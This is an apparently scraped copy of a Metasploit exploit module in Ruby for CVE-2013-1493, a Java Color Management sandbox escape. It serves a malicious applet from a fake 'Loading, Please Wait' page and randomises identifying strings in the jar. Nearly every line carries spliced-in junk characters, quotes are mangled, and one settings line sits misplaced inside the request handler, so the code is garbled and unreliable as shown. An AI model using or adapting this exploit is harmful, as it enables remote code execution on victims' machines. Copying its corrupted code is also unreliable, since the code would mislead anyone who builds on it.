##, ^# |4 O+ I; g1 C) L
* h/ R- l( G8 v1 W
# This file is part of the Metasploit Framework and may be subject to9 ]. m- @. o7 C% M1 V3 Z* `, H
# redistribution and commercial restrictions. Please see the Metasploit
: s7 d; Y0 F, m) j; p& W# web site for more information on licensing and terms of use.
# `1 W/ o; s! U Y* x$ }" S8 R# http://metasploit.com/4 k' v4 U. m1 m- v. b. W
##
0 f( a+ g8 I, T% w: L ]require ‘msf/core’
# |9 ^5 j; y8 Q; K; w7 {; \require ‘rex’
5 W3 j: m. _2 ]. s7 B @/ ~. fclass Metasploit3 < Msf::Exploit::Remote
; w8 N0 ^+ }) D: w8 ^/ p' yRank = NormalRanking
; O5 C* E' h" ?8 ~7 c1 l& iinclude Msf::Exploit::Remote::HttpServer::HTML2 ] q% v. O$ p1 D
include Msf::Exploit::EXE, g9 {" c$ e% {0 l
include Msf::Exploit::Remote::BrowserAutopwn: u4 E1 J, v4 n9 Z# v8 {
autopwn_info({ :javascript => false })
. Z" d3 K+ U, z7 Q% |* Bdef initialize( info = {} )
6 G6 r3 u, \- A) qsuper( update_info( info,: u" p3 p6 E1 Z: o) H
‘Name’ => ‘Java CMM Remote Code Execution’,2 R; b5 J" `% \
‘Description’ => %q{: ]/ m5 B3 \3 L `1 T
This module abuses the Color Management classes from a Java Applet to run, t' c, n( q5 ^. a: h1 A0 S1 t; k y
arbitrary Java code outside of the sandbox as exploited in the wild in February7 D4 {" h" M& o
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
/ C& M. @5 I9 k) V9 h4 r8 }* Rand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1/ z7 V& [# Q! X3 h' b2 [8 z- J
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
$ s" a, Z% p1 ]& Z+ ewarning in order to run the malicious applet.
- H- b% e) [8 T6 E( ]% M},- k: e/ U$ [3 s7 N7 c- o
‘License’ => MSF_LICENSE,
& s" O% ~2 C/ C- i+ \ N‘Author’ =>
* O1 U" {: w( k) \! l'Unknown', # Vulnerability discovery and Exploit
3 n- Y% e5 g& n# k5 ]( f'juan vazquez' # Metasploit module (just ported the published exploit)2 @4 m0 e& t; a% G0 `* t$ e
],
$ L# F9 y+ c' T‘References’ =>
, F2 B% j3 i# x6 {[
+ M+ x- G2 s$ M5 K2 U[ 'CVE', '2013-1493' ],% k% x5 m( M- R6 k
[ 'OSVDB', '90737' ], C5 \& C8 | l2 B
[ 'BID', '58238' ],
4 M, J( q5 H# R! ^[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],. f4 \$ R8 b$ Z1 q
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],0 R: b% F K/ C0 O6 [
[ 'URL', 'http://pastie.org/pastes/6581034' ]
$ R. b- h. B4 P# `],
7 j/ w: l( s( m) p/ S. r9 z0 |‘Platform’ => [ 'win', 'java' ],
6 [8 d- H! G, _) F n2 o‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
' ?. h' U( h* E+ \/ N' F‘Targets’ =>
1 Z" Q6 J% q' n5 \6 h5 v[
- i J- T7 y; d[ 'Generic (Java Payload)',1 \) I; z. G- c6 R7 Z6 c+ l9 s' X
{: B, y+ ^: d" w' `8 _, z$ x7 K! q6 B% Z' A
'Platform' => 'java',; ?' E+ n2 G k( `0 L, Y1 I' e5 y
'Arch' => ARCH_JAVA3 Z9 E- } }" c4 T
}4 E7 Q$ g; c0 K; @/ b+ @
],
O; y* L" l% ^& x/ T% G3 d# y' ][ 'Windows x86 (Native Payload)',
) U# ~/ I6 p% Q5 K2 b" A{
& }+ ~! }1 o. h/ o7 P* W( F+ @'Platform' => 'win',
" W4 J0 W! A! D# l'Arch' => ARCH_X86
* Z2 b6 N( w0 P! w& t}
8 X% B( e$ ?& T6 s3 M]5 i8 [* _" M% f! a1 T
],0 Z) g6 G x6 X
‘‘DisclosureDate’ => ‘Mar 01 2013′
& c/ D" D& O) c% J))
- r5 g* d- A+ V$ j% Z |. Nend
/ B, Z: ?7 ^ j$ Odef setup
( x1 t2 z1 M' l! s8 A" npath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)# q: Z: r" S$ Z( b
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }, r( r2 k: q7 m! g# m0 L
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
! _# v9 o+ A# B@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 S7 y0 M; r* K& ^' Ipath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
( }) N& z4 I9 \6 i6 X7 A@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
$ @& s+ ?- I3 q" \! ]8 {/ T O2 }: Jpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
+ |" p- d0 O, P9 ^; J, |( N@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
! ]) N g2 _4 x5 t3 T@init_class_name = rand_text_alpha(“Init”.length)5 e7 U- l- z* z8 i
@init_class.gsub!(“Init”, @init_class_name)4 c* z1 k- t; S5 m7 d
super
: J$ ?* A% m C& u; R4 X$ T! }# C2 hend
3 Y/ H" k/ ?3 |( L: xdef on_request_uri(cli, request) u5 W7 {: _3 v" x8 m; B' k ]$ Z2 n; j5 L3 U
print_status(“handling request for #{request.uri}”)
$ ?. K7 s# C2 a3 T7 O3 J0 ], y) ucase request.uri& Z# F1 ]$ s" C! n% f6 Z6 b: i
when /\.jar$/i* H7 Y! m% v7 X7 R3 P
jar = payload.encoded_jar: H" r3 Z- U; v$ f$ E7 M# |
jar.add_file(“#{@init_class_name}.class”, @init_class)
( a/ e- P3 x8 ^6 q) s9 ljar.add_file(“Leak.class”, @leak_class); P D& P& }6 |$ @0 Q! v
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
e* \: ~# p! q; Ojar.add_file(“MyColorSpace.class”, @color_space_class)
- E/ ^8 j' m; E6 @3 q* tDefaultTarget’ => 1,, X4 }! C3 f7 v
metasploit_str = rand_text_alpha(“metasploit”.length)
1 T' m# U1 e. ?( cpayload_str = rand_text_alpha(“payload”.length)
4 i, |9 B: o7 [: Y7 h( ]jar.entries.each { |entry|3 W( d5 C. M1 z5 K* I. d
entry.name.gsub!(“metasploit”, metasploit_str)4 @/ J! L/ H* E2 X# _# }5 i" D1 D
entry.name.gsub!(“Payload”, payload_str)
/ D9 |/ `0 B: [% X; j( }; z4 fentry.data = entry.data.gsub(“metasploit”, metasploit_str)8 a l# u) A4 S' j9 B& n- r. g
entry.data = entry.data.gsub(“Payload”, payload_str)6 E0 { l) b3 s" [, Z: s% j
}
) `6 N$ j* r- J i4 Jjar.build_manifest% C1 r& x" Z% J* a" \, M% E. ?
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })% O$ k6 ~" A% { S: x( y4 l
when /\/$// C& o H% C3 w( ?" B1 n
payload = regenerate_payload(cli)
8 u& E' ^3 h9 [7 pif not payload, Y( B. j- W4 C# X
print_error(“Failed to generate the payload.”). W( l/ m6 D7 r, W7 U8 b. H; M
send_not_found(cli) n1 Y O7 j" b
return/ i3 ?, I; b6 i. B
end
9 R' x( J6 h, M+ y: P% F% gsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
) M" d) `7 A( ^8 e5 kelse4 u7 r9 t/ h8 u9 G
send_redirect(cli, get_resource() + ‘/’, ”)0 R- I7 Y8 N. U! i6 d
end' ]: J* H9 H6 f4 z
end
/ g' J* }8 o6 k8 O& cdef generate_html4 g2 K; z# P8 `0 c; z3 e) i
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
2 z/ K. z$ [( L# Q9 n9 t2 R( Nhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
; Y: Q1 ~' t' g0 f9 khtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
/ h8 R8 E4 ~! n) v. w' w0 O+ z% ahtml += %Q|</applet></body></html>|
. [% E7 P! Y, e0 O5 _- H1 E* D6 Qreturn html! [4 {4 _2 m4 L8 C% y
end6 _& }4 w b! s2 m* Q N( ~ e
end( C8 l& X4 N5 N0 `. N# d
end
" e" ^& V5 k. f1 ` |